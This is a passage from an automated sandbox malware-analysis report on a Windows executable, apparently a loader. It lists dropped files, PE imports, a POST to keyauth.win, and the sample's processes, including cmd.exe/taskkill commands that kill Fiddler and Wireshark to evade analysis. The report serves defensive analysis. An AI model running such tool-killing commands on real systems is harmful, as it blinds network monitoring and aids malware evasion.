SSDEEP:	384:8DCBe0ExkYRuKmszktBiX6wR5TBCadfOPLrd/DP3+cO2ASTUUUYuRkeIO6kjP/Ui:WCBe0yRuKmszhil/DOtAeIXkjPs
MD5:	35315DC875CFA59AB0D1EDD89E37B14E
SHA1:	26EB89BB198BB517F4257B5FAA649AD1FCC34270
SHA-256:	80067B26DED42C7FBF9BAC87179C1E07F6EBA4946643B41706D92DCB17DAAE6B
SHA-512:	5710B440D9960033FD4792B2D61888DE22573E3B99A11B8A2966C93EDFE1878F6634876E44F4561C6EA26C8079E1BFB4DAF27CE080CB4B4A37BA9F3E31541850
Malicious:	false
Preview:	MDMP..a..... ........Y.g............T...............\............O..........T.......8...........T...........p'............... ...........!..............................................................................eJ......."......Lw......................T............Y.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9DCB.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	10142
Entropy (8bit):	3.7135618500866534
Encrypted:	false
SSDEEP:	192:R6l7wVeJQUHmv6YS0iGHEgmfpy+QprH89baeOfCem:R6lXJrw6YBiGHEgmfprNa/fi
MD5:	B76AA3BA57BE38C556F7589208D29327
SHA1:	1AB687C1004F2C599193BCC50F0145E19C8C6D7C
SHA-256:	437AEDC8CF2449131C257E376BF83479B237B7FA5044DF3DD0A6E55D2A047B75
SHA-512:	79D3EDBD3460A01A434FEC1AC3FDB04EA7B02CCC74FCD0263EEEBB7C22405C2121CA5773467092B777FD002D0445C4FC8E4FF9D8093D2FE1875BE11FD9E8B6C8
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9DFB.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4645
Entropy (8bit):	4.456921251970737
Encrypted:	false
SSDEEP:	48:cvIwWl8zsjJg771I9PsWpW8VYwYm8M4J9UFXyq85ZgYK4yoEued:uIjf9I7gF7VEJkN4yHued
MD5:	A6DBB327898F2F7DFDA55CC8D5664F83
SHA1:	E0A37D9B9E62948E3C8D5C23EF2F41318C0A6627
SHA-256:	4DF2593BCF98ED8E12C052BB30F1FF45E874086C96B846A49F356D53D2CC7485
SHA-512:	627228126292497BCD744F9C575A01414870BA2B58CDED021F1ADA60519069150233B23459EC87E914BC49CAF8206D7DBDB8398AB77BE5A0C706239B1E7CDF0F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="552151" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4770 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	7.946747821604857
Encrypted:	false
SSDEEP:	96:9/nBu64pydcvOHRUfu0xK1bQYMRSRNoYmxYvk56sHMZhh4m:9/nBuP2cGxUfu6K1bpWJ6vfh4m
MD5:	1BFE591A4FE3D91B03CDF26EAACD8F89
SHA1:	719C37C320F518AC168C86723724891950911CEA
SHA-256:	9CF94355051BF0F4A45724CA20D1CC02F76371B963AB7D1E38BD8997737B13D8
SHA-512:	02F88DA4B610678C31664609BCFA9D61DB8D0B0617649981AF948F670F41A6207B4EC19FECCE7385A24E0C609CBBF3F2B79A8ACAF09A03C2C432CC4DCE75E9DB
Malicious:	false
Preview:	MSCF............,...................O.................2Wqh .disallowedcert.stl....^K...CK.wTS...:.w.K'.C0T.....Bh.{....C.)......Y@...(..).R."E..D^6........u....\|f~3...o.3. ..SPK.k.o#...."{-.U..P........:..aPr.@.d......Dy.h.....)..:...!./\A.....A<I_<$...q.h..........'.....7....H...@`T..K.S.%...Y4..R.....`.....-....D...(..b..-c."...G.=.dx..S+..2.a.E....d.L...77J...c.[..@..iT&..^78..g....NW6.Ek..FY.F........cNt.O...R..........D...... k........J.y...z.d...;.9_t...].@....yw..}.x....d.t..`f\K..;\|.h.X...4/.;.xT......q>.0...<...3...X..L$.&.,b.....\V....\......G..O..@..H3.....t..J..).x.?.{[..G>.7...<...^Q..z..Gw9P..d....i].n%K}.z..2.Py...A..s...z..@...4..........4.....Y.d..._Z.5.s..fl.C..#.K{9^.E...k..z.Ma..G.(.....5g. ...}.t.#4....$;.,....S@fs....k......u .^2.#_...I........;.......w..P...UCY...$;.S._\|.x..dK...[i..q..^.l..A.?.....'N.. .L.l......m.*.+f#]............A.;.....Z..rIt....RW....Kr1e=8.=.z:Oi.z.d..r..C_......o...]j.N;.s....3@3.dgrv.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.1593394788691396
Encrypted:	false
SSDEEP:	6:kKpGW3AN+SkQlPlEGYRMY9z+s3Ql2DUevat:gW3/kPlE99SCQl2DUevat
MD5:	63CD0032644C028FB66AB8F671E52FD4
SHA1:	CA41D0DEEAF7B51ED8B28EB2888FDFCF8BD7B0F7
SHA-256:	D0D294E11D6BE0A4684E030891E6018641C3512176A8604ECECD97B53E3EF5B2
SHA-512:	B052A53589E68CE919536BA05E4F172FEFFB2FEAAF3B040D05797D0DE837336CC83F13E1DFEEA5C75C2CB66AE552F1E6A934737A6E0D35B2AA30CA58FE625998
Malicious:	false
Preview:	p...... .........n#Z&#..(....................................................... .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372186801462375
Encrypted:	false
SSDEEP:	6144:pFVfpi6ceLP/9skLmb0RyWWSPtaJG8nAge35OlMMhA2AX4WABlguNuiL:/V1LyWWI/glMM6kF7Mq
MD5:	1C6274A8B4EBE73B315A106AC716428B
SHA1:	37453F35010A5C5A5CD5686F86EE9D071FAC1403
SHA-256:	51CAA5D60269B4DF14C4B596AB91C0F4D347118A508606C22082E942C3DCB1F4
SHA-512:	D3ED95AB6A45519B035391D5A4814113E95C80E4825444BF5CD8949AC2715E7F77CF3D80CF7A89FD47985086691FD28901FA7738E3AC35C2A77B329F7E9CF0DF
Malicious:	false
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..MJ&#..............................................................................................................................................................................................................................................................................................................................................J.Z~........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.003997527334849
Encrypted:	false
SSDEEP:	3:HnRthLK5a6eCMABe:HRoJPO
MD5:	DF5DC1ABC0D52F3C9E931E26A7C0065C
SHA1:	EE84123D3B3BC440C63DFE65FF5616BE2B0904D5
SHA-256:	F7167A2FACDE50428D8D2697A1CDFF075DE809323DD16D62B65CDD103B2A9A6D
SHA-512:	9B2253CE41880D22A2DDF4F886BB6CB22FF0C981400CD9D03A1FCA81DE5FAEB86C26B85B66ECEC960816D7BBE9740843890F2FCCD334B6D274295A32A8E6A4E9
Malicious:	false
Preview:	The system cannot find the file specified...

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.423105909371356
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	lvXRlexBnb.exe
File size:	506'368 bytes
MD5:	88300378266b63b920d5a064c201100f
SHA1:	3cd39d22f2eebc57b00e1780d6e9e13688be6efc
SHA256:	e84ca1288f8a7b2e5fd2a57c8896e0125566cd56b718ddbd1b5bdc7e56161faa
SHA512:	092887319f9949cf95c6c8db2b41bddc039450970834f396698ccd63930b9888905566d3aef85c24c6756d1efc8f22fc8be19036f81681d18fa79b755fec53e4
SSDEEP:	6144:ri8fZ/nLeOlMAiyTI+BS6oIC2Dbe/MZWdLpID+RMcA2dHDad2m29yFfCPaf1:rTfFOf8IyS4LDb6dlIDuzAIOb9fCif1
TLSH:	3DB46D56A7A807E9D1A7D03CC547C603E7B6B4991311DBDB43A0CA791F63BE12E3A720
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........V...V...V..._.+.B...PHE.^...PH..v...PH..\...PH..R...PH..P.......A...V...s.......?...9H..T...9H..W...9HG.W...9H..W...RichV..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14005f9d8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67128167 [Fri Oct 18 15:40:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3dd1b7e6418973ac2798d88d33677d96

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FECC0780578h
dec eax
add esp, 28h
jmp 00007FECC077FE67h
int3
int3
jmp 00007FECC0780828h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0000178Bh]
dec eax
mov ecx, ebx
call dword ptr [000016F2h]
call dword ptr [00001774h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [00001770h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [00001764h]
test eax, eax
je 00007FECC077FFF9h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [00018E12h]
call 00007FECC07801BEh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00018EF9h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00018E89h], eax
dec eax
mov eax, dword ptr [00018EE2h]
dec eax
mov dword ptr [00018D53h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [00018E57h], eax
mov dword ptr [00018D2Dh], C0000409h
mov dword ptr [00018D27h], 00000001h
mov dword ptr [00000031h], 00000000h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x760f0	0x1cc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7d000	0x1e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x79000	0x3f84	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7e000	0x4e4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x6ffd0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x70080	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x6fe90	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x61000	0x818	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5fda8	0x5fe00	7aff1316ebc8f292682a7ae508a8a06e	False	0.5326912891134289	data	6.336112958608718	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x61000	0x16b92	0x16c00	28661b9a68b3efca9ea7a5daaf233c49	False	0.3797540350274725	data	5.5777189277970605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x78000	0xdf8	0x400	3cfa1d3706d13e34002335316e18545c	False	0.212890625	data	2.4386708342051575	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x79000	0x3f84	0x4000	50e902fb009b515c9924ff6238b5e51d	False	0.48175048828125	data	5.776998787420237	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x7d000	0x1e8	0x200	7d03a0f9d3c3a10dec18b513161e66d8	False	0.54296875	data	4.772037401703051	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7e000	0x4e4	0x600	0fffa779ce3f96440fc92f1aa0c636a8	False	0.5123697916666666	data	4.824092949506385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x7d060	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
KERNEL32.dll	WideCharToMultiByte, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, GetTickCount, QueryPerformanceCounter, VerifyVersionInfoA, LoadLibraryA, GetProcAddress, GetModuleHandleA, FreeLibrary, GetSystemDirectoryA, CreateFileA, VerSetConditionMask, SleepEx, LeaveCriticalSection, EnterCriticalSection, FormatMessageA, SetLastError, CloseHandle, GetCurrentProcess, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetModuleHandleW, GetCurrentProcessId, GetCurrentThreadId, GetFileSizeEx, WaitForMultipleObjects, PeekNamedPipe, ReadFile, GetFileType, GetEnvironmentVariableA, MultiByteToWideChar, WaitForSingleObjectEx, QueryPerformanceFrequency, GetSystemTimeAsFileTime, MoveFileExA, DeleteCriticalSection, GetLastError, InitializeCriticalSectionEx, OutputDebugStringW, InitializeSListHead, GetConsoleWindow, SetConsoleTitleA, SetConsoleTextAttribute, Sleep, GetStdHandle
USER32.dll	GetWindowLongPtrA, SetWindowLongPtrA, MessageBoxA, SetLayeredWindowAttributes
ADVAPI32.dll	CryptAcquireContextA, CryptReleaseContext, CryptGetHashParam, CryptGenRandom, CryptCreateHash, CryptHashData, CryptDestroyHash, CryptDestroyKey, CryptImportKey, CryptEncrypt
SHELL32.dll	ShellExecuteA
MSVCP140.dll	?_Xlength_error@std@@YAXPEBD@Z, ??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z, ?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?uncaught_exception@std@@YA_NXZ, ?_Xbad_function_call@std@@YAXXZ, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z
urlmon.dll	URLDownloadToFileA
Normaliz.dll	IdnToAscii
WLDAP32.dll
CRYPT32.dll	CertGetCertificateChain, CertFreeCertificateChainEngine, CertCreateCertificateChainEngine, CryptQueryObject, CertGetNameStringA, CertFindExtension, CertAddCertificateContextToStore, CertFreeCertificateChain, PFXImportCertStore, CryptStringToBinaryA, CertFreeCertificateContext, CertFindCertificateInStore, CertEnumCertificatesInStore, CertCloseStore, CertOpenStore, CryptDecodeObjectEx
WS2_32.dll	gethostname, sendto, recvfrom, freeaddrinfo, getaddrinfo, select, ioctlsocket, listen, htonl, accept, WSACleanup, WSAStartup, WSAIoctl, WSASetLastError, socket, setsockopt, ntohs, htons, getsockopt, getsockname, getpeername, connect, bind, WSAGetLastError, send, recv, closesocket, ntohl, __WSAFDIsSet
VCRUNTIME140.dll	__std_exception_copy, __std_exception_destroy, _CxxThrowException, memcpy, memset, __std_terminate, __C_specific_handler, __current_exception_context, __current_exception, memchr, memcmp, strchr, strstr, memmove, strrchr
VCRUNTIME140_1.dll	__CxxFrameHandler4
api-ms-win-crt-runtime-l1-1-0.dll	_invalid_parameter_noinfo_noreturn, _beginthreadex, _errno, __sys_nerr, _getpid, exit, system, terminate, _register_thread_local_exe_atexit_callback, _configure_narrow_argv, _initialize_narrow_environment, _initialize_onexit_table, _register_onexit_function, _crt_atexit, _cexit, _seh_filter_exe, _set_app_type, strerror, _c_exit, _initterm, _initterm_e, _exit, __p___argv, __p___argc, _get_initial_narrow_environment
api-ms-win-crt-heap-l1-1-0.dll	realloc, _callnewh, free, calloc, _set_new_mode, malloc
api-ms-win-crt-utility-l1-1-0.dll	rand, qsort
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vfprintf, fseek, feof, __p__commode, __acrt_iob_func, ftell, fputc, _lseeki64, _read, _write, _close, _open, fflush, __stdio_common_vsscanf, __stdio_common_vsprintf, fread, fputs, fopen, fwrite, fgets, fclose, _set_fmode
api-ms-win-crt-convert-l1-1-0.dll	strtod, atoi, strtoul, strtoull, strtol, strtoll
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale, localeconv
api-ms-win-crt-time-l1-1-0.dll	_time64, _gmtime64
api-ms-win-crt-string-l1-1-0.dll	strcmp, strncmp, isupper, strcspn, strspn, _strdup, strncpy, tolower, strpbrk
api-ms-win-crt-filesystem-l1-1-0.dll	_stat64, _unlink, _access, _fstat64
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr, _dclass

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 21:28:46.856409073 CEST	49708	443	192.168.2.8	172.67.72.57
Oct 20, 2024 21:28:46.856432915 CEST	443	49708	172.67.72.57	192.168.2.8
Oct 20, 2024 21:28:46.856482029 CEST	49708	443	192.168.2.8	172.67.72.57
Oct 20, 2024 21:28:46.865602016 CEST	49708	443	192.168.2.8	172.67.72.57
Oct 20, 2024 21:28:46.865617037 CEST	443	49708	172.67.72.57	192.168.2.8
Oct 20, 2024 21:28:47.644474030 CEST	443	49708	172.67.72.57	192.168.2.8
Oct 20, 2024 21:28:47.644603014 CEST	49708	443	192.168.2.8	172.67.72.57
Oct 20, 2024 21:28:47.648488998 CEST	49708	443	192.168.2.8	172.67.72.57
Oct 20, 2024 21:28:47.648502111 CEST	443	49708	172.67.72.57	192.168.2.8
Oct 20, 2024 21:28:47.648828983 CEST	443	49708	172.67.72.57	192.168.2.8
Oct 20, 2024 21:28:47.651231050 CEST	49708	443	192.168.2.8	172.67.72.57
Oct 20, 2024 21:28:47.695403099 CEST	443	49708	172.67.72.57	192.168.2.8
Oct 20, 2024 21:28:48.009427071 CEST	443	49708	172.67.72.57	192.168.2.8
Oct 20, 2024 21:28:48.009485006 CEST	443	49708	172.67.72.57	192.168.2.8
Oct 20, 2024 21:28:48.010353088 CEST	49708	443	192.168.2.8	172.67.72.57
Oct 20, 2024 21:29:44.734922886 CEST	49708	443	192.168.2.8	172.67.72.57

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 21:28:46.843395948 CEST	63784	53	192.168.2.8	1.1.1.1
Oct 20, 2024 21:28:46.850542068 CEST	53	63784	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 20, 2024 21:28:46.843395948 CEST	192.168.2.8	1.1.1.1	0xb55a	Standard query (0)	keyauth.win	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 20, 2024 21:28:46.850542068 CEST	1.1.1.1	192.168.2.8	0xb55a	No error (0)	keyauth.win		172.67.72.57	A (IP address)	IN (0x0001)	false
Oct 20, 2024 21:28:46.850542068 CEST	1.1.1.1	192.168.2.8	0xb55a	No error (0)	keyauth.win		104.26.1.5	A (IP address)	IN (0x0001)	false
Oct 20, 2024 21:28:46.850542068 CEST	1.1.1.1	192.168.2.8	0xb55a	No error (0)	keyauth.win		104.26.0.5	A (IP address)	IN (0x0001)	false
Oct 20, 2024 21:28:53.962538004 CEST	1.1.1.1	192.168.2.8	0x6eb7	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 20, 2024 21:28:53.962538004 CEST	1.1.1.1	192.168.2.8	0x6eb7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Oct 20, 2024 21:28:53.962538004 CEST	1.1.1.1	192.168.2.8	0x6eb7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Oct 20, 2024 21:30:11.571296930 CEST	1.1.1.1	192.168.2.8	0x60b3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 20, 2024 21:30:11.571296930 CEST	1.1.1.1	192.168.2.8	0x60b3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

keyauth.win

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	172.67.72.57	443	7652	C:\Users\user\Desktop\lvXRlexBnb.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-20 19:28:47 UTC	128	OUT	POST /api/1.1/ HTTP/1.1 Host: keyauth.win Accept: / Content-Length: 58 Content-Type: application/x-www-form-urlencoded
2024-10-20 19:28:47 UTC	58	OUT	Data Raw: 74 79 70 65 3d 69 6e 69 74 26 76 65 72 3d 38 2e 32 26 6e 61 6d 65 3d 6c 6f 61 64 65 72 20 70 72 69 6e 63 69 70 61 6c 26 6f 77 6e 65 72 69 64 3d 39 57 49 76 54 56 4a 61 39 6d Data Ascii: type=init&ver=8.2&name=loader principal&ownerid=9WIvTVJa9m

Target ID:	0
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\lvXRlexBnb.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\lvXRlexBnb.exe"
Imagebase:	0x7ff79b6e0000
File size:	506'368 bytes
MD5 hash:	88300378266B63B920D5A064C201100F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Imagebase:	0x7ff79c520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Imagebase:	0x7ff638780000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:28:43
Start date:	20/10/2024
Path:	C:\Windows\System32\cmd.exe
